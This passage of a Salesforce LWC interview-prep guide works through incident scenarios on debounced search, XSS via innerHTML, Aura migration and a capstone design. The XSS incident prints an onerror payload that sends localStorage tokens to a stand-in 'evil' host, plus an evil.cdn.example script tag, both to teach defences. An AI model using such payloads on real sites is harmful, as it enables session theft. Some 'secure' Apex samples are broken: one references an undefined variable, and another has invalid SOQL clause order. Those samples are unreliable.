  • Hint 1 (the avenue): (1) How many calls per second does unthrottled typing produce? (2) Does cacheable=true cache misses? (3) What does each request cost server-side even when cached? (And: what does a LIKE '%term%' do to an index?)
  • Hint 2 (the mechanism): (1) ~150 ms per keystroke ≈ 6–7 requests/second per user — debounce to ~300 ms AFTER the last keystroke. (2) Cacheable caches results for a given input — a new keystroke = a new input = a cache miss = a real Apex execution; typing "salesfo" through "salesforce" is 9 distinct inputs = 9 executions. (3) Even cached responses pay request handling + serialization; and a leading-wildcard LIKE '%...%' forces a full scan server-side regardless.
  • Hint 3 (the skeleton): Debounce: clearTimeout + setTimeout(..., 300) capturing the term in a closure. Race: track the latest term (this.latestTerm = term); on response, render only if term === this.latestTerm. Consider Promise.all for parallel independent calls elsewhere — not here.

THE REVEAL — POSTMORTEM

What actually happened (real class of incidents — every LWC best-practices doc + JavaScript Dev I async questions):

Three compounding mechanisms:

  1. No debounce. Typing at a normal pace produces a request every keystroke (~6–7/sec). The fix: setTimeout debounce of ~300 ms after the last keystroke — one call per pause, not per key.
  2. Cacheable only caches hits. Each new character = a new argument = a cache miss = a real Apex execution. "salesforce" typed slowly = up to 9 separate executions. Cacheable saves you on repeat lookups (and across components), not on new inputs.
  3. The hidden server cost. Each execution pays: request handling, SOQL, serialization, and — with a leading wildcard LIKE '%term%' — a non-selective full scan. On a large object that's the CPU/query-cost replay of Module 1 Incident 3, but from the client side.

Plus the race condition: keystroke "s" response arriving AFTER "sa" response → wrong results rendered. The classic fix: only render if the response's term still equals the current input.

The correct handler:

debounceTimer;

handleKeyChange(event) {
    const term = event.target.value;
    clearTimeout(this.debounceTimer);                 // 1. debounce ~300ms
    this.debounceTimer = setTimeout(async () => {
        this.isSearching = true;
        try {
            const results = await searchContacts({ term });
            if (term === this.inputTerm) {            // 2. race guard: render only latest
                this.results = results;
            }
        } catch (err) {
            this.error = reduceErrors(err);           // 3. real error handling
        } finally {
            this.isSearching = false;
        }
    }, 300);
}

Plus server-side: WHERE Name LIKE :safeTerm ESCAPE '\\' with escapeSingleQuotes, LIMIT, and selective fields. (And for the "cacheable method called imperatively can't refreshApex" interplay — Incident 3 — when search feeds a table you edit.)

Why "it's cacheable so it's cheap" is wrong (the contrast): cacheable saves repeat reads of the same input and enables @wire sharing; it does not throttle, cache misses, or make a LIKE '%...%' selective. And under @wire, a reactive search term re-provisions per change too — the debounce still belongs in the UI.

KNOWLEDGE EXTRACTION (interview-ready)

  • "Debounce in LWC?" → ~300 ms; clearTimeout then setTimeout; never fire Apex on every keystroke.
  • "Promise.all vs allSettled vs race vs any?"all: wait for all, reject fast on first failure (parallel independent calls). allSettled: wait for all, never rejects, reports each status. race: first to settle wins. any: first to fulfill wins. In LWC: Promise.all for parallel Apex; allSettled when one failure shouldn't kill the batch.
  • "Event loop?" → Single thread; call stack → microtask queue (Promises, queueMicrotask) drains first → macrotask queue (setTimeout). async/await unwraps Promises; async functions always return a Promise; errors via try/catch.
  • "fetch gotchas?" → Rejects only on network failure, NOT on HTTP 404/500 — check response.ok.
  • "Array transforms in LWC?"map/filter/reduce/find; [...this.template.querySelectorAll('lightning-input')] to convert NodeList; immutable updates (this.data = [...this.data, x]).
  • "== vs ===, null vs undefined?"=== for identity; null = intentional absence, undefined = not assigned; NaN !== NaN.

THE REDO

Write the debounced, race-safe, error-handled search handler from memory — and then say which parts would change if the search were a @wire with a reactive term instead of imperative (hint: the debounce stays, the race guard moves).

RETRIEVAL DRILL

  1. Why is "cacheable = cheap" wrong? (3 reasons.)
  2. Write the debounce pattern (no syntax lookup).
  3. Promise.all vs Promise.allSettled — decision rule.
  4. What does fetch NOT reject on?
  5. Two ways to convert a NodeList to an array.

INTERVIEW MAPPING

Async JS is a dedicated ~13–14% of the JavaScript Dev I cert and shows up as warm-up questions at product companies. The debounce + race-guard pair is a live-coding staple (Persistent Systems L2, Accenture-style prompts). Getting the race guard unprompted is the differentiator.


INCIDENT 7 — THE XSS IN THE "TRUSTED" TEXT

STAKES

A community page renders user-submitted comments. The dev renders them with innerHTML because "it's just text, and we sanitize it with a regex on the server." A bug bounty researcher submits a comment, waits, and extracts every Guest User-accessible record's data — plus localStorage tokens from other visitors. The team's first reaction: "But LWS blocks that!"

THE INCIDENT

renderComment(comment) {
    this.commentDiv.innerHTML = '<div class="c">' + comment.text + '</div>';   // "trusted" text
}
<template>
    <div lwc:dom="manual"></div>   <!-- appended via innerHTML -->
    <script src="https://evil.cdn.example/analytics.js"></script>  <!-- "just analytics" -->
</template>

THE PROBLEM

Three layers of defense were assumed and all three failed. Name each assumption and its failure mode — then write the secure version (template + server). Bonus: explain the one thing LWS genuinely blocks vs distorts, and why innerHTML runs anyway.

Write: (1) the 3 failed assumptions, (2) the secure rewrite, (3) the LWS truth.


HINT LADDER

  • Hint 1 (the avenue): (1) XSS doesn't need <script> — think event handlers, javascript: URLs, SVG. (2) CSP: what does it block by default, and what does the <script src=CDN> line do? (3) LWS: what does it actually distort vs block — is innerHTML execution blocked or merely sandboxed?
  • Hint 2 (the mechanism): (1) innerHTML with attacker-controlled text = stored XSS vector (<img src=x onerror=...>, javascript: links, CSS-based exfil) — regex "sanitization" of HTML is famously unfixable. (2) CSP blocks inline scripts and external CDN scripts in Lightning (the script src line fails at load or is a violation) — third-party libs must go through Static Resource + loadScript from lightning/platformResourceLoader. (3) LWS distorts rather than blocks: innerHTML, eval, Function, localStorage, document.cookie run inside a sandboxed, per-namespace JavaScript Realm — execution isn't prevented; the environment is contained. So XSS payloads still execute; LWS limits blast radius, it doesn't neutralize the vulnerability. Truly blocked: Workers and a tiny set.
  • Hint 3 (the skeleton): Client: declarative template {comment.text} (escaping is automatic) or lightning-formatted-rich-text for rich text; loadScript(this, resourceUrl + '/lib.js') for libraries. Server: with sharing, WITH USER_MODE/stripInaccessible, input validation + escapeSingleQuotes (Module 1 Incident 8 discipline), output encoding at the boundary. Audit: Guest User profile least privilege; Event Monitoring.

THE REVEAL — POSTMORTEM

What actually happened (real class of incidents — Salesforce Security Anti-Patterns blog 2026, LWS docs, Module 1 Incident 8 sibling):

Three failed assumptions:

  1. "It's just text"innerHTML reparses attacker-controlled markup. <img src=x onerror="fetch('//evil?c='+localStorage.getItem('token'))"> needs no <script> tag at all. Regex sanitizers are bypassable (encoding, nesting, SVG/foreign content). The comment executed in every visitor's browser — and since the component was Guest-User-reachable, the stored payload also ran during authenticated sessions (token theft).
  2. "CSP won't matter, we use a CDN" → Lightning's CSP blocks inline scripts and external CDN scripts outright. The script src line violates CSP. Legit third-party libraries must live in a Static Resource and load via loadScript(this, url) / loadStyle from lightning/platformResourceLoader (they dedupe and return Promises).
  3. "LWS blocks that" → LWS distorts, it doesn't block. innerHTML, eval, Function, localStorage, document.cookie all run — inside a per-namespace sandboxed Realm with distorted APIs. The payload executed; LWS just contained some of the blast radius. A tiny set is truly blocked (Workers). LWS is defense-in-depth, not a vulnerability fix. (Also: objects crossing namespaces get Proxy-wrapped — mutating them in place silently doesn't propagate back; serialize to JSON for detail.)

The secure version:

// Declarative template = automatic escaping. No innerHTML.
// <template><div class="c">{comment.text}</div></template>
// Rich text (trusted source only): <lightning-formatted-rich-text value={comment.text}></lightning-formatted-rich-text>
import { loadScript, loadStyle } from 'lightning/platformResourceLoader';
import LIB from '@salesforce/resourceUrl/mylib';
connectedCallback() { loadScript(this, LIB + '/mylib.js'); }   // CSP-legal loading
public with sharing class CommentService {
    @AuraEnabled(cacheable=true)
    public static List<Comment__c> getComments(Id postId) {
        String safeTerm = '%' + String.escapeSingleQuotes(term) + '%';  // if any input
        return [SELECT Id, Text__c FROM Comment__c WHERE Post__c = :postId WITH USER_MODE];
    }
}

Plus: Guest User profile audit (least privilege — no legacy object access), server-side input validation, Event Monitoring.

Why the "obvious fixes" failed (the contrast): "sanitize on the server" → sanitization at the wrong layer (output must be encoded at the render boundary, and you can't safely re-parse attacker HTML with regex); "use a CDN" → CSP block; "LWS saves us" → containment ≠ prevention.

KNOWLEDGE EXTRACTION (interview-ready)

  • "LWS vs Locker?" → LWS (Lightning Web Security): per-namespace JavaScript Realm sandbox, distorts APIs (localStorage, cookie, eval, Function, innerHTML run sandboxed); default for orgs created Winter '23+; LWC-only. Locker: Aura-era monkey-patched DOM facades.
  • "What does CSP block in Lightning?" → Inline scripts, external CDN scripts. Use Static Resources + loadScript/loadStyle (lightning/platformResourceLoader).
  • "XSS prevention in LWC?" → Declarative templates (auto-escaping); lightning-formatted-rich-text for trusted rich text; never innerHTML with untrusted data; validate + encode server-side.
  • "What breaks across LWS namespaces?" → Proxies wrap cross-namespace objects — in-place mutation silently lost; JSON-serialize for event.detail.
  • "Client-side security list?"with sharing + @AuraEnabled, CRUD/FLS (stripInaccessible/USER_MODE) server-side, input validation server-side, least privilege, treat every @AuraEnabled method as public API (Module 1 Incident 8).

THE REDO

Rewrite the comment component securely (template + Apex + Guest User audit steps) and answer: "a client-side library needs localStorage — does LWS break it? What's the catch?"

RETRIEVAL DRILL

  1. LWS vs Locker — one sentence each.
  2. What exactly does CSP block, and what's the legal way to load a JS library?
  3. Why doesn't LWS "fix" XSS?
  4. Two XSS vectors that need no <script> tag.
  5. What happens to cross-namespace objects, and the workaround?

INTERVIEW MAPPING

Security is the increasingly asked 3-4yr signal (LWS questions appeared in 2026 banks from Kore1, Salesforce Ben, Dev Blog). Knowing "LWS distorts, not blocks" is a genuine differentiator — most candidates either ignore LWS or over-trust it. The Guest User + innerHTML combo is also a strong "tell me about a hard problem" story.


INCIDENT 8 — THE AURA GHOST

STAKES

An org with 400+ legacy Aura components is told: "new development is LWC only." A senior dev submits a PR building the new quoting widget in Aura — "because the existing parent component is Aura and I can reuse its helper." The architect rejects it. The dev argues: "LWC can't live inside Aura, everyone knows that." One of the two is wrong — and the wrongness costs the team a week.

THE INCIDENT

The facts on the table:

  • The existing parent is an Aura component (aura:component wrapping a tabbed interface).
  • The new quoting widget is a self-contained form + datatable.
  • The dev's claim: "LWC cannot be embedded in Aura."
  • The architect's rule: "New code = LWC. Period."

THE PROBLEM

Who is right about the embedding, and who is right about the rule — and how do you reconcile them? Walk the migration strategy end-to-end.

Write: (1) the interop facts, (2) the migration strategy (what moves when), (3) the mapping table for the Aura→LWC translation (attributes, events, iteration, conditionals, application events), (4) the one Aura concept that has NO LWC equivalent.


HINT LADDER

  • Hint 1 (the avenue): Interop is one-directional. Which direction? And what is the Aura concept with no LWC sibling (it's also the reason LMS exists)?
  • Hint 2 (the mechanism): Aura can embed LWC; LWC cannot embed Aura. So the dev is wrong about embedding — the new LWC widget CAN live inside the Aura parent (pass attributes in, handle CustomEvents via on*). The migration rule: leaves first, host last — migrate the leaf components (widgets) to LWC while the Aura parent hosts them, then migrate the host last (or re-architect it as LWC page composition). The no-equivalent concept: Aura application events — LWC has none; use LMS.
  • Hint 3 (the skeleton): Mapping: aura:attribute@api property; cmp.get/set → direct field assignment; aura:if/aura:elselwc:if/elseif/else; aura:iterationfor:each + key; component events → CustomEvent + dispatchEvent (with bubbles/composed); application events → LMS; {!c.action} → JS method; controller/helper → single JS class (ES modules); renderer → renderedCallback. Judgment: "new development → LWC, period"; Aura is debt, not architecture.

THE REVEAL — POSTMORTEM

What actually happened (real class of incidents — Salesforce migrate-strategy docs, X0PA LWC-vs-Aura rubric, every 2026 company-wise bank):

The dev was wrong twice:

  1. The embedding claim is false in the direction they needed. LWC cannot embed Aura — but the parent is Aura, and Aura embeds LWC fine. The new widget ships as LWC, dropped inside the Aura parent: attributes pass via the standard c:widget tag with attribute values; LWC's CustomEvents surface to the Aura parent as on* handlers. No reuse of the Aura helper was needed — LWC is a fresh ES-module class.
  2. The rule is right and the exception is wrong. "New code = LWC" is the 2026 standard. The only legitimate reasons to write Aura today: modifying an existing Aura component in place (surgical fixes), or hosting where Aura is still required (some Service Console features, Experience Cloud legacy pages). Building new Aura is debt.

The migration strategy (the senior answer):

  1. Leaves first, host last. Convert leaf/child components to LWC while the Aura parent keeps hosting them. Interop is one-way (Aura→LWC), so the Aura parent can host LWC children indefinitely while you migrate the tree.
  2. Translate in-place: aura:attribute@api; cmp.get("v.x")/cmp.set(...)→direct assignment; aura:if/aura:elselwc:if/lwc:elseif/lwc:else; aura:iterationfor:each + unique key; component events→CustomEvent; application events→LMS; {!c.action}→JS method; helper/controller→one ES6 class; renderer overrides→renderedCallback (guarded).
  3. Migrate the host last — re-architect the Aura parent as a Lightning page (flexipage) or LWC composition, then delete the Aura bundle.
  4. Treat Aura as debt — freeze new Aura work; track migration as technical-debt backlog. Aura remains relevant to read (and Platform Dev I conceptually) but not to build.

Why the "obvious fixes" failed (the contrast):

  • "Rewrite the parent first" → backwards: migrating the host first blocks everything else (its LWC children can't go back). Leaves-first keeps the system shippable at every step.
  • "Keep the widget in Aura to match the parent" → compounds debt; the parent will be re-architected anyway; the widget's Aura helper reuse saves nothing long-term.
  • "Use LMS to bridge Aura and LWC" → LMS works in LWC; Aura has its own application events. Cross-framework bridging happens through attributes/events at the boundary, not LMS.

KNOWLEDGE EXTRACTION (interview-ready)

  • "Aura vs LWC — the table you must reproduce." → LWC: 2019, Web Components standards (custom elements, Shadow DOM, ES modules), .html/.js/.js-meta.xml, native reactivity (assign → re-render), one-way binding, LWS security, standard DOM events, ES6+. Aura: 2014, proprietary framework, multi-file bundles (.cmp/.controller/.helper/.renderer...), XML-like markup, manual reactivity (aura:attribute + cmp.set), two-way binding (v.value), Locker, Aura events (component/application), ES5. Performance: LWC lighter/faster.
  • "Interop rule?" → Aura can embed LWC; LWC cannot embed Aura. Aura→LWC via attributes + on* event handlers.
  • "What has no LWC equivalent?" → Aura application events — replaced by LMS. (LWC also has no $A global, no two-way binding.)
  • "Migration order?" → Leaves first, host last; freeze new Aura; map the bundle concepts.
  • "Aura still load-bearing where?" → Older record pages, parts of Service Console, some Experience Cloud/CRM Analytics overrides, ltng:require hosting — debt to migrate, not extend.

THE REDO

From memory: write the Aura→LWC mapping table (7 rows), state the interop direction rule, and lay out a 3-phase migration for a 400-component org (what freezes, what moves when, when the host dies).

RETRIEVAL DRILL

  1. Which framework can embed the other? (Exact direction.)
  2. aura:iteration and aura:if → LWC equivalents?
  3. Aura component events vs application events → LWC equivalents?
  4. Why "migrate the host first" is wrong.
  5. cmp.get("v.x") → LWC equivalent?

INTERVIEW MAPPING

Aura is <5% of the interview but always present as the comparison/migration judgment question (X0PA rubric, Simplilearn 150-question bank, SalesforceCasts Top 10). "New development → LWC, period" + "leaves first, host last" is the 30-second answer that ends the topic.


🏆 CAPSTONE — THE 60-MINUTE LIVE CODING CHALLENGE

STAKES

Live coding round. The interviewer pastes a prompt on screen: "Build a contact search: type ahead, results list, multi-select pills, and a button that emails the selected contacts. You have 60 minutes. You may ask clarifying questions." (Persistent Systems L2 reported this exact challenge; Accenture-style and product-company loops have variants.) The clock is the interviewer — and they watch how you structure the component, not just whether it renders.

THE INCIDENT (the requirements file)

  • Search box: type ahead; results capped at 25; must not hammer the server.
  • Results list: shows Name, Email, Phone; loading state; empty state.
  • Multi-select: clicking a result adds a pill; clicking a pill removes it; dedupe.
  • Send button: emails the selected contacts (server-side sendEmail, max 10 invocations per transaction — the Module 1 limit); success/error toasts.
  • Constraints from the interviewer: Apex must be secure; the UI must not break if the user types 100 characters; no framework magic — justify every choice.

THE PROBLEM (the transfer test)

Produce, in writing, the complete design BEFORE coding: (1) the component tree (2) each Apex method with annotations and security posture (3) wire vs imperative for each data flow and WHY (4) the debounce + race-guard design (5) the event flow for pill add/remove (6) the error-handling strategy (7) the refresh strategy after the send (8) what you'd unit test in Jest.

This is deliberately a design-first test — in the real interview you'd then code it. Writing the design IS the deliverable. (45-min cap, then reveal.)


THE MODEL DESIGN (reveal after your attempt)

  1. Component tree: contact-search (page-level: owns state) → c-contact-results (list + selection events) and c-contact-pills (selected items, removal events). Parent owns selectedContacts Map (dedupe by Id), passes down via @api.
  2. Apex (all secure):
public with sharing class ContactSearchService {
    @AuraEnabled(cacheable=true)
    public static List<Contact> search(String term) {
        if (String.isBlank(term)) return new List<Contact>();
        if (!Schema.sObjectType.Contact.isAccessible()) return new List<Contact>();
        String safe = '%' + String.escapeSingleQuotes(term) + '%';
        return [SELECT Id, Name, Email, Phone FROM Contact
                WHERE Name LIKE :safe ORDER BY Name LIMIT 25 WITH USER_MODE];
    }

    @AuraEnabled
    public static void sendEmails(List<Id> contactIds, String subject, String body) {
        // NON-cacheable (mutates) — called imperatively.
        // Limit guard: sendEmail is capped at 10 invocations/transaction.
        // Batch sends into a single Messaging.SingleEmailMessage[].
    }
}
  1. Wire vs imperative: search = imperative + debounce (user-initiated, needs race control — wire's reactivity is wrong here); send = imperative (DML-like). No wire needed — the search is event-driven, not reactive-param-driven. (A wire with a reactive term is acceptable but re-provisions per keystroke anyway — debounce still required; the imperative version gives explicit control.)
  2. Debounce + race guard: clearTimeout/setTimeout(300); capture term in closure; render only if term === this.latestTerm; spinner during flight; reduceErrors for the catch.
  3. Events: results item click → CustomEvent('select', { detail: contact, bubbles: true, composed: true }); pill remove → CustomEvent('remove', { detail: id, ... }); parent updates selectedContacts map immutably (new Map(...) — a Map IS tracked? No — @track doesn't observe Map/Set; use a plain object or new array reference for reactivity).
  4. Errors: reduceErrors() (Apex error shape: error.body.message); toast on send failure; inline error for search.
  5. Refresh: after send, notifyRecordUpdateAvailable(contactIds) (data was LDS-ish? No — search data came from Apex, so refreshApex only if a wire was used; with imperative search, simply re-run the last search or clear the selection state).
  6. Jest: mock searchContacts; assert debounce (one call after rapid typing), race guard (stale response ignored), dedupe, pill add/remove, error paths, disabled button state while sending.

KNOWLEDGE EXTRACTION (the meta-lesson)

The capstone is a model of the live-coding round — interviewers score structure, justification, and edge-case awareness, not typing speed. The 3-sentence summary you should now be able to produce:

"LWC development is one-way data flow plus lifecycle discipline. Every failure I've seen — the render loop, the dead wire, the stale screen, the lost event — is code that forgot the platform's contract: data goes down via properties, up via events, re-renders happen only on reference change, and the DOM is a browser with real limits. The fix is always the same: guard the lifecycle, design the data flow first, and cache with intent."


THE KNOWLEDGE SPINE (the allowed 5% — memorize after the incidents)

Lifecycle order (parent + child)

Parent constructor → Parent connectedCallback → Child constructor → Child connectedCallback → Child renderedCallback → Parent renderedCallback. ("Parent initializes first, child finishes rendering first.")

The 5 hooks in one line each

HookWhenUse
constructorBirth, oncePrimitives only; super() first; NO DOM/Apex/wire
connectedCallbackEach DOM insertion (may repeat)Fetch data, subscriptions, imperative Apex
renderedCallbackAfter EVERY renderDOM work — ALWAYS guard with a flag; never set reactive state
disconnectedCallbackEach removalUnsubscribe LMS/pubsub, clear timers
errorCallbackDescendant errors onlyError boundary / fallback UI

Decorators

  • @api — public property/method (read-only from child; parent sets it). recordId auto-populated on record pages.
  • @track — deep observation of plain objects/arrays ONLY. NOT class instances, Date, Map, Set. Mostly obsolete (Spring '20+ all fields reactive; Winter '21 shallow default).
  • @wire — reactive data binding (Apex cacheable=true or LDS adapter); result { data, error }.

Wire vs imperative (the table to reproduce)

@wireImperative
TriggerAutomatic/reactiveManual (click, connectedCallback)
Apex needs@AuraEnabled(cacheable=true)cacheable optional
CacheBuilt-in + refreshable (refreshApex)None (cacheable-imperative can't refreshApex)
Best forRead-only reactive dataDML, control, non-cacheable
Error/loadingdata/error/undefinedthen/catch + your spinner

Caching rules

  • refreshApex(this.wiredResult) → re-provisions @wire Apex data (Promise). Only for wire-provisioned data.
  • notifyRecordUpdateAvailable([ids]) → invalidates LDS cache. LDS auto-invalidates on its own writes.
  • getRecordUi is deprecated → getLayout.

Events (the 3 rules)

  1. CustomEvent('name', { detail, bubbles, composed }); defaults both false.
  2. composed: true = public API → globally unique name (namespace prefix).
  3. Unrelated components → LMS (lightning/messageService): subscribe in connectedCallback, unsubscribe in disconnectedCallback. NO application events in LWC.

Templates / directives

  • lwc:if / lwc:elseif / lwc:else (Spring '23+; if:true deprecated).
  • for:each needs a unique key (never index for dynamic lists); iterator:it gives it.first/it.last.
  • Slots: default + named; ::slotted() styling; no :host-context() in Synthetic Shadow.
  • Datatable: NO nested fields (flatten!); ~1,000 rows × 5 cols; >250 → <20 cols; infinite scroll via enable-infinite-loading/onloadmore/load-more-offset; save only draftValues.
  • NavigationMixin.Navigate returns NOTHING (no Promise); GenerateUrl returns a Promise.
  • Third-party JS: Static Resource + loadScript/loadStyle (CSP; no inline, no CDN).

JS/async (the cert-mapped core)

  • var (function scope) vs let/const (block scope); arrows = lexical this; spread ... expands, rest collects.
  • Microtasks (Promises) drain before macrotasks (setTimeout).
  • Promise.all (reject-fast) vs allSettled (wait-all) vs race (first settled) vs any (first fulfilled).
  • fetch rejects only on network failure — check response.ok.
  • Immutable updates: this.data = [...this.data, x] — mutation doesn't re-render.

Aura → LWC (mapping to reproduce)

AuraLWC
aura:attribute + cmp.get/set@api property + direct assignment
aura:if / aura:elselwc:if / lwc:elseif / lwc:else
aura:iterationfor:each + unique key
Component eventsCustomEvent + dispatchEvent
Application eventsLMS (NO equivalent)
Controller/HelperOne ES6 class
Renderer overridesrenderedCallback (guarded)
LockerLWS

Interop: Aura embeds LWC; LWC cannot embed Aura. Migration: leaves first, host last.

Security (LWS/CSP)

  • LWS = per-namespace JS Realm sandbox — distorts, not blocks: innerHTML, eval, localStorage, document.cookie run sandboxed. Truly blocked: Workers + tiny set.
  • CSP: no inline scripts, no external CDN.
  • XSS: declarative templates (auto-escape), lightning-formatted-rich-text, never innerHTML with untrusted data.
  • Cross-namespace objects = Proxy-wrapped; serialize to JSON for detail.

Rapid-fire trick questions (module 2 scope)

QuestionAnswer
Lifecycle order?Parent ctor → parent connected → child ctor → child connected → child rendered → parent rendered
RenderedCallback fires how often?After EVERY render — guard it
@track needed for reactivity?No (Spring '20+); only deep plain-object/array observation
@track observes Date/Map/Set?No
@wire needs what on Apex?@AuraEnabled(cacheable=true)
Wire param $x undefined?Wire never fires — silently
Can refreshApex refresh imperative-cacheable?No
LDS auto-refresh?Yes — after its own writes
CustomEvent defaults?bubbles:false, composed:false
Data in events travels via?event.detail (target retargets)
LWC application events?None — LMS
LMS unsubscribe where?disconnectedCallback
Datatable nested fields?Not supported — flatten
Datatable sweet spot?~1,000 rows × 5 cols
Navigate returns?Nothing (no Promise)
GenerateUrl returns?Promise
External CDN scripts?Blocked by CSP — Static Resource + loadScript
LWS blocks innerHTML?No — distorts/sandboxes
Aura embeds LWC?Yes; reverse: no
if:true status?Deprecated → lwc:if

INTERLEAVED PRACTICE SET (do 1–2 per session, closed-book)

Pick the technique before solving — the choice is the training. Mixes Module 1 + Module 2.

  1. Apex + LWC, one bug: a save button calls a non-cacheable Apex method; after save the table (fed by @wire Apex) still shows old rows. Name the missing call AND the Module-1 limit that the Apex method must respect (it sends emails).
  2. Choose the tool: a datatable on a record page needs the current record's name + 3 fields + a related list count. Wire getRecord, LDS functions, or Apex @wire? Justify in 2 sentences.
  3. Live-code sketch (2 min): a debounced search that also refreshes a @wire-fed counter of results. Where does the debounce live? Where does refreshApex go?
  4. Whiteboard: draw the order of execution (Module 1) and the lifecycle order (Module 2) side by side; circle the two "fire more than once" items.
  5. Security double: the Module 1 with sharing lesson meets LWC — an @AuraEnabled method without sharing returns records a Guest User shouldn't see (Module 1 Incident 8), rendered via innerHTML (Module 2 Incident 7). List every fix in order of severity.

SPACED REPETITION SCHEDULE (log it in the canvas)

  • Today: after each incident — retrieval drill + redo.
  • Tomorrow: re-answer the 5-question drills from Incidents 1–4 (closed-book).
  • +1 week: the Interleaved Practice Set + rapid-fire bank (both modules).
  • +1 month: the Capstone (redo from memory) + Module 1 capstone (the 11:34 PM crisis) back to back.

Incident sources (real, for your curiosity): LWC Developer Guide (lifecycle, events, reactivity, wire adapters, datatable, security), LWS docs + Salesforce Dev Blog "Security Anti-Patterns in LWC" (2026), Trailhead LWC modules (Work with Data, Handle Server Errors, Best Practices), StackExchange #393482 (wire vs imperative), #296396 (refresh imperative cacheable), #387670 (CustomEvent vs LMS), #426884 (NavigationMixin), GitHub salesforce/lwc #3107 (named-slot bug), glenbradford.com (LWC mutation tracking), crmcurator.com (LWC interview series 2026), learnfrenzy.com (scenario banks), trailheadtitans.com (20 LWC questions, lifecycle), medium.com (Saurabh Samir mock interview LWC+Apex senior 2026; Ambarish LWC+Apex integration), LinkedIn real posts (Capgemini 38 questions — Ashish Singh; Deloitte — Manikanchan Roy; Persistent L2 live coding — NarayanaReddy Mandli; PwC LWC=perf signal — Abhishek Singh), Simplilearn 150-question bank, X0PA LWC-vs-Aura rubric, SalesforceCasts Aura Top 10. Full URL list in _research/round1_master_report/agent_02_lwc_ui/sources.md + links_master.md.

On this page

M0 — THE MAP (read this first, 5–10 min)The one idea everything hangs on: THE ONE-WAY DATA RIVERThe incidents (choose your own adventure — recommended order)INCIDENT 1 — THE INFINITE RENDER LOOPSTAKESTHE INCIDENTTHE PROBLEMTHE REVEAL — POSTMORTEMKNOWLEDGE EXTRACTION (interview-ready answers you just earned)THE REDO (compressed, from memory — 15 min)RETRIEVAL DRILL (closed-book, written)INTERVIEW MAPPINGINCIDENT 2 — THE WIRE THAT NEVER FIREDSTAKESTHE INCIDENTTHE PROBLEMTHE REVEAL — POSTMORTEMKNOWLEDGE EXTRACTION (interview-ready)THE REDORETRIEVAL DRILLINTERVIEW MAPPINGINCIDENT 3 — THE STALE SCREENSTAKESTHE INCIDENTTHE PROBLEMTHE REVEAL — POSTMORTEMKNOWLEDGE EXTRACTION (interview-ready)THE REDORETRIEVAL DRILLINTERVIEW MAPPINGINCIDENT 4 — THE FROZEN TABLESTAKESTHE INCIDENTTHE PROBLEMTHE REVEAL — POSTMORTEMKNOWLEDGE EXTRACTION (interview-ready)THE REDORETRIEVAL DRILLINTERVIEW MAPPINGINCIDENT 5 — THE LOST EVENTSTAKESTHE INCIDENTTHE PROBLEMTHE REVEAL — POSTMORTEMKNOWLEDGE EXTRACTION (interview-ready)THE REDORETRIEVAL DRILLINTERVIEW MAPPINGINCIDENT 6 — THE SEARCH THAT KILLED THE SERVERSTAKESTHE INCIDENTTHE PROBLEMTHE REVEAL — POSTMORTEMKNOWLEDGE EXTRACTION (interview-ready)THE REDORETRIEVAL DRILLINTERVIEW MAPPINGINCIDENT 7 — THE XSS IN THE "TRUSTED" TEXTSTAKESTHE INCIDENTTHE PROBLEMTHE REVEAL — POSTMORTEMKNOWLEDGE EXTRACTION (interview-ready)THE REDORETRIEVAL DRILLINTERVIEW MAPPINGINCIDENT 8 — THE AURA GHOSTSTAKESTHE INCIDENTTHE PROBLEMTHE REVEAL — POSTMORTEMKNOWLEDGE EXTRACTION (interview-ready)THE REDORETRIEVAL DRILLINTERVIEW MAPPING🏆 CAPSTONE — THE 60-MINUTE LIVE CODING CHALLENGESTAKESTHE INCIDENT (the requirements file)THE PROBLEM (the transfer test)THE MODEL DESIGN (reveal after your attempt)KNOWLEDGE EXTRACTION (the meta-lesson)THE KNOWLEDGE SPINE (the allowed 5% — memorize after the incidents)Lifecycle order (parent + child)The 5 hooks in one line eachDecoratorsWire vs imperative (the table to reproduce)Caching rulesEvents (the 3 rules)Templates / directivesJS/async (the cert-mapped core)Aura → LWC (mapping to reproduce)Security (LWS/CSP)Rapid-fire trick questions (module 2 scope)INTERLEAVED PRACTICE SET (do 1–2 per session, closed-book)SPACED REPETITION SCHEDULE (log it in the canvas)